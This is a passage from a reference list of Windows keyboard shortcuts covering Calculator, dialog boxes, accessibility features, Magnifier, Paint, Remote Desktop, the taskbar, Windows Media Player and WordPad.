Up Arrow Navigate up in the calculation history

D Press the Mod button in Scientific mode

I Press the Inv button in Scientific mode

L Press the log button in Scientific mode

M Press the dms button in Scientific mode

N Press the ln button in Scientific mode

O Press the cos button in Scientific mode

P Press the pi button in Scientific mode

Q Press the x^2 button in Scientific mode

S Press the sin button in Scientific mode

T Press the tan button in Scientific mode

V Press the F-E button in Scientific mode

X Press the Exp button in Scientific mode

Y Press the x^y button in Scientific mode

Ctrl + B Press the 3√x button in Scientific mode

Ctrl + G Press the 10x button in Scientific mode

Ctrl + O Press the cosh button in Scientific mode

Ctrl + S Press the sinh button in Scientific mode

Ctrl + T Press the tanh button in Scientific mode

Ctrl + Y Press the y√x button in Scientific mode

F3 Select Degrees in Scientific mode

F4 Select Radians in Scientific mode

F5 Select Grads in Scientific mode

; Press the Int button in Scientific mode

# Press the x^3 button in Scientific mode

! Press the n! button in Scientific mode

F2 Select Dword in Programmer mode

F3 Select Word in Programmer mode

F4 Select Byte in Programmer mode

F5 Select Hex in Programmer mode

F6 Select Dec in Programmer mode

F7 Select Oct in Programmer mode

F8 Select Bin in Programmer mode

F12 Select Qword in Programmer mode

J Press the RoL button in Programmer mode

K Press the RoR button in Programmer mode

< Press the Lsh button in Programmer mode

> Press the Rsh button in Programmer mode

% Press the Mod button in Programmer mode

| Press the Or button in Programmer mode

^ Press the Xor button in Programmer mode

~ Press the Not button in Programmer mode

& Press the And button in Programmer mode

Spacebar Toggles the bit value in Programmer mode

A Press the Average button in Statistics mode

D Press the CAD button in Statistics mode

S Press the Sum button in Statistics mode

T Press the S.D. button in Statistics mode

Ctrl + A Press the Average Sq button in Statistics mode

Ctrl + S Press the Sum Sq button in Statistics mode

Ctrl + T Press the Inv S.D. button in Statistics mode

Dialog Box Keyboard Shortcuts

Arrow Keys Select a button if the active option is a group of option buttons

Backspace Open a folder one level up if a folder is selected in the Save As or Open dialog box

Ctrl + Shift + Tab Move back through tabs

Ctrl + Tab Move forward through tabs

Enter Replaces clicking the mouse for many selected commands

F4 Display the items in the active list

Shift + Tab Move back through options

Spacebar Select or clear the check box if the active option is a check box

Tab Move forward through options

Ease of Access Keyboard Shortcuts

Left Alt + Left Shift + Num Lock Turn Mouse Keys on or off

Left Alt + Left Shift + PrtScn Turn High Contrast on or off

Num Lock (hold for 8 seconds) Turn Toggle Keys on or off

Right Shift (hold for 8 seconds) Turn Filter Keys on and off

Shift (pressed 5 times) Turn Sticky Keys on or off

Windows Key + U Open Ease of Access Center

Function Key Keyboard Shortcuts

F1 Open Help window

F2 Rename the selected item

F3 Opens Search window

F4 Display the Address bar drop down list in Windows Explorer and Internet Explorer

F5 Refresh the current active window

F6 Cycle through items in current active window

F10 Displays the menu bar in the active window and underlines the menu bar shortcut keys

F11 Toggle Full Screen Mode On or Off in Windows Explorer and Internet Explorer

Alt + F4 Close the current active window or program. From the desktop, it opens the Shut Down Windows window.

Ctrl + F4 Close the active document (in programs that allow you to have multiple documents open simultaneously)

Shift + F10 Open context menu of selected item

Magnifier Keyboard Shortcuts

Ctrl + Alt + Arrow keys Pan in the direction of the arrow keys

Ctrl + Alt + D Switch to docked mode

Ctrl + Alt + F Switch to full-screen mode

Ctrl + Alt + I Invert colors

Ctrl + Alt + L Switch to lens mode

Ctrl + Alt + R Resize the lens

Ctrl + Alt + Spacebar Show the mouse pointer

Windows Key + Esc Exit Magnifier

Windows Key + Plus Sign (+) or Minus Sign (-) Zoom in or out

Paint Keyboard Shortcuts

Alt Display keytips

Alt + F4 Close a picture and its Paint window

Ctrl + A Select the entire picture

Ctrl + B Bold selected text

Ctrl + C Copy a selection to the Clipboard

Ctrl + E Open the Properties dialog box

Ctrl + G Show or hide gridlines

Ctrl + I Italicize selected text

Ctrl + Minus Sign (-) Decrease the width of a brush, line, or shape outline by one pixel

Ctrl + N Create a new picture

Ctrl + O Open an existing picture

Ctrl + P Print a picture

Ctrl + Page Down Zoom out

Ctrl + Page Up Zoom in

Ctrl + Plus Sign (+) Increase the width of a brush, line, or shape outline by one pixel

Ctrl + R Show or hide the ruler

Ctrl + S Save changes to a picture

Ctrl + U Underline selected text

Ctrl + V Paste a selection from the Clipboard

Ctrl + W Open the Resize and Skew dialog box

Ctrl + X Cut a selection

Ctrl + Y Redo a change

Ctrl + Z Undo a change

Delete Delete a selection

Esc Cancel a selection

F1 Open Paint Help

F10 Display keytips

Shift + F10 Show the current shortcut menu

F11 View a picture in full-screen mode

F12 Save the picture as a new file

Right Arrow Move the selection or active shape right by one pixel

Left Arrow Move the selection or active shape left by one pixel

Down Arrow Move the selection or active shape down by one pixel

Up Arrow Move the selection or active shape up by one pixel

Remote Desktop Keyboard Shortcuts

Alt + Delete Display the system menu.

Alt + Home Display the Start menu.

Alt + Insert Cycle through programs in the order that they were started in.

Alt + Page Down Move between programs from right to left.

Alt + Page Up Move between programs from left to right.

Ctrl + Alt + Break Switch between a window and full screen.

Ctrl + Alt + End Display the Windows Security dialog box.

Ctrl + Alt + Minus Sign (-) on numeric keypad Place a copy of the active window, within the client, on the Terminal server clipboard (provides the same functionality as pressing Alt+PrtScn on a local computer).

Ctrl + Alt + Plus Sign (+) on numeric keypad Place a copy of the entire client window area on the Terminal server clipboard (provides the same functionality as pressing PrtScn on a local computer).

Ctrl + Alt + Right Arrow Tab out of the Remote Desktop controls to a control in the host program (for example, a button or a text box). Useful when the Remote Desktop controls are embedded in another (host) program.

Ctrl + Alt + Left Arrow Tab out of the Remote Desktop controls to a control in the host program (for example, a button or a text box). Useful when the Remote Desktop controls are embedded in another (host) program.

Taskbar Keyboard Shortcuts

Ctrl + Left Click Use on pinned taskbar program icon links to switch through that program's open windows.

Ctrl + Shift + Left Click Use on pinned taskbar program icon links to open another instance of that program with Administrator privileges

Shift + Left Click Use on pinned taskbar program icon links to open another instance of that program.

Shift + Right Click Use on pinned taskbar program icon links to open the context menu for the icon.

Windows Key + 1 to 0 Opens the pinned taskbar icon link that corresponds to the order that they are in from left (1) to right (0) on the taskbar. 0 is for 10.

Windows Key + T Cycle through programs on the taskbar. Press Enter to open the one selected.

Windows Key + Shift + T Cycle backwards through programs on the taskbar. Press Enter to open the one selected.

Windows Logo Keyboard Shortcuts

Windows Key Open or close the Start menu

Windows Key + Pause/Break Opens the System properties window

Windows Key + B Moves focus to Notification Area on the taskbar

Ctrl + Windows Key + B Switch focus to the program that displayed a message in the notification area

Windows Key + D Toggles to Show Desktop and restore desktop

Windows Key + M Minimize all opened windows

Windows Key + Shift + M Restore minimized windows to the desktop

Windows Key + E Open Window Explorer to Libraries

Windows Key + F Open Search window

Ctrl + Windows Key + F Search for computers (if you are on a network)

Windows Key + G Displays desktop gadgets

Windows Key + L Lock your computer or switch users

Windows Key + P Displays desktop to projector display presentation switch window.

Windows Key + R Open Run command window

Windows Key + T Cycle through programs on the taskbar. Press Enter to open the one selected.

Windows Key + Shift + T Cycle backwards through programs on the taskbar. Press Enter to open the one selected.

Windows Key + Tab Cycle through open windows by using Flip 3D. Release to open the window in the front.

Ctrl+Windows Key + Tab Use the tab or arrow keys to cycle through open windows by using Flip 3D. Press enter or click on the first window to open the window in the front.

Windows Key + U Open Ease of Access Center

Windows Key + X Open Windows Mobility Center

Windows Key + Spacebar Press and hold for a Desktop Preview. Also known as Aero Peak.

Windows Key + 1 to 0 Opens the program pinned to the taskbar that corresponds to the order that they are in from left (1) to right (0) on the taskbar. 0 is for 10.

Ctrl+Windows Key + 1 to 0 Switch to the last active window of the program pinned to the taskbar that corresponds to the order that they are in from left (1) to right (0) on the taskbar. 0 is for 10.

Shift + Windows Key + 1 to 0 Start a new instance of the program pinned to the taskbar that corresponds to the order that they are in from left (1) to right (0) on the taskbar. 0 is for 10. If the program is already running, switch to that program.

Windows Key + Left Arrow Docks and undocks current active window to the left side of the screen.

Windows Key + Shift+ Left Arrow Moves the current active window over one monitor to the left.

Windows Key + Right Arrow Docks and undocks current active window to the right side of the screen.

Windows Key, Right Arrow, Enter Shutdown

Windows Key, Right Arrow, Right Arrow, R Restart

Windows Key, Right Arrow, Right Arrow, S Sleep

Windows Key, Right Arrow, Right Arrow, W Switch Users

Windows Key + Shift+ Right Arrow Moves the current active window over one monitor to the right.

Windows Key + Up Arrow Maximizes current active window to full screen.

Windows Key + Shift + Up Arrow Maximizes current active window vertically.

Windows Key + Shift + Down Arrow Restores vertically maximized current active window back to the way it was before maximized vertically.

Windows Key + Down Arrow Minimizes current active window to taskbar.

Windows Key + Home Toggles minimize and restore not active open windows.

Windows Key + + Zoom in

Windows Key + - Zoom out

Windows Key + = Open Magnifier

Windows Media Player Keyboard Shortcuts

Alt + 1 Video Size 50% in Now Playing or skin mode, with a video playing

Alt + 2 Video Size 100% in Now Playing or skin mode, with a video playing

Alt + 3 Video Size 200% in Now Playing or skin mode, with a video playing

Alt + Enter Full Screen Toggle in Now Playing, skin, or full screen mode

Ctrl + 1 Switches to library mode from any mode

Ctrl + 2 Switches to skin mode from any mode

Ctrl + 3 Switches to player mode from any mode except full screen

Ctrl + 7 Add to Play in library mode

Ctrl + 8 Add to Burn in library mode

Ctrl + 9 Add to Sync in library mode

Ctrl + A Selects everything in a list in the library or list

Ctrl + B Previous (Item or Chapter) with content playing

Ctrl + E Focus on Search text box and switch to library mode if not there

Ctrl + F Next (Item or Chapter) with content playing

Ctrl + H Turn on/off shuffle mode

Ctrl + J Eject in any mode

Ctrl + M Toggle menu bar in library in any mode

Ctrl + N Create playlist in library mode

Ctrl + O Shows Open Dialog in any mode

Ctrl + P Play/Pause Toggle with content queued up

Ctrl + Q Adds selected track to open list. Default is Play list.

Ctrl + S Stops Playback with content playing

Ctrl + T Turn on/off repeat mode in any mode

Ctrl + U Shows Open URL Dialog in any mode

Ctrl + W Stops playback with content playing or paused

Ctrl + Shift + B Rewinds playing content with DVD playing

Ctrl + Shift + C Caption On/Off Toggle when playing content which has captions

Ctrl + Shift + F Fast forwards playing content with content playing

Ctrl + Shift + G Play Speed Fast with content playing

Ctrl + Shift + N Play Speed Normal with content playing

Ctrl + Shift + S Play Speed Slow with content playing

Ctrl + Right Arrow Next playlist in playlist history when focus is not on Seek bar

Ctrl + Left Arrow Previous playlist in playlist history when focus is not on Seek bar

Ctrl + Right Arrow Skip forward (large increment) when focus is on Seek bar

Ctrl + Left Arrow Skip backward (large increment) when focus is on Seek bar

Shift + Right Arrow Skip forward (small increment) when focus is on Seek bar

Shift + Left Arrow Skip backward (small increment) when focus is on Seek bar

Right Arrow Skip forward when focus is on Seek bar

Left Arrow Skip backward when focus is on Seek bar

Ctrl + Click Resize player to image in Now Playing mode

Escape Return to Now Playing in Full Screen Mode

F1 Opens Help file in any mode

F2 Edit meta data column in library mode with an item selected

F4 Switch view mode in library mode, focus in list view

F5 Refresh screen when focus is on library or in online services

F6 Increases album art when focus is in list view

Shift + F6 Decreases album art when focus is in list view

F7 Mutes sound in any mode

F8 Decrease sound volume in any mode

F9 Increases sound volume in any mode

F10 Show menu bar in library from any mode

Shift + F10 Context menu shortcut in any mode

WordPad Keyboard Shortcuts

Alt + F4 Close WordPad

Ctrl + 1 Set single line spacing

Ctrl + 2 Set double line spacing

Ctrl + 5 Set line spacing to 1.5

Ctrl + A Select the entire document

Ctrl + Shift + A Change characters to all capitals

Ctrl + B Make selected text bold

Ctrl + C Copy a selection to the Clipboard

Ctrl + D Insert a Microsoft Paint drawing

Ctrl + Delete Delete the next word

Ctrl + E Align text center

Ctrl + End Move to the end of the document

Ctrl + F Find text in a document

Ctrl + H Replace text in a document

Ctrl + Home Move to the beginning of the document

Ctrl + I Italicize selected text

Ctrl + J Justify text

Ctrl + L Align text left

Ctrl + Shift + L Change the bullet style

Ctrl + N Create a new document

Ctrl + O Open an existing document

Ctrl + P Print a document

Ctrl + Page Down Move down one page

Ctrl + Page Up Move up one page

Ctrl + R Align text right

Ctrl + S Save changes to a document

Ctrl + U Underline selected text

Ctrl + V Paste a selection from the Clipboard

Ctrl + X Cut a selection

Ctrl + Y Redo a change

Ctrl + Z Undo a change

Ctrl + = Make selected text subscript

Ctrl + Shift + = Make selected text superscript

Ctrl + Shift + > Increase the font size

Ctrl + Shift + < Decrease the font size

Ctrl + Left Arrow Move the cursor one word to the left

Ctrl + Right Arrow Move the cursor one word to the right

Ctrl + Up Arrow Move the cursor to the line above

Ctrl + Down Arrow Move the cursor to the line below

F1 Open WordPad Help

F3 Find the next instance of the text in the Find dialog box

F10 Display keytips

Shift + F10 Show the current shortcut menu

F12 Save the document as a new file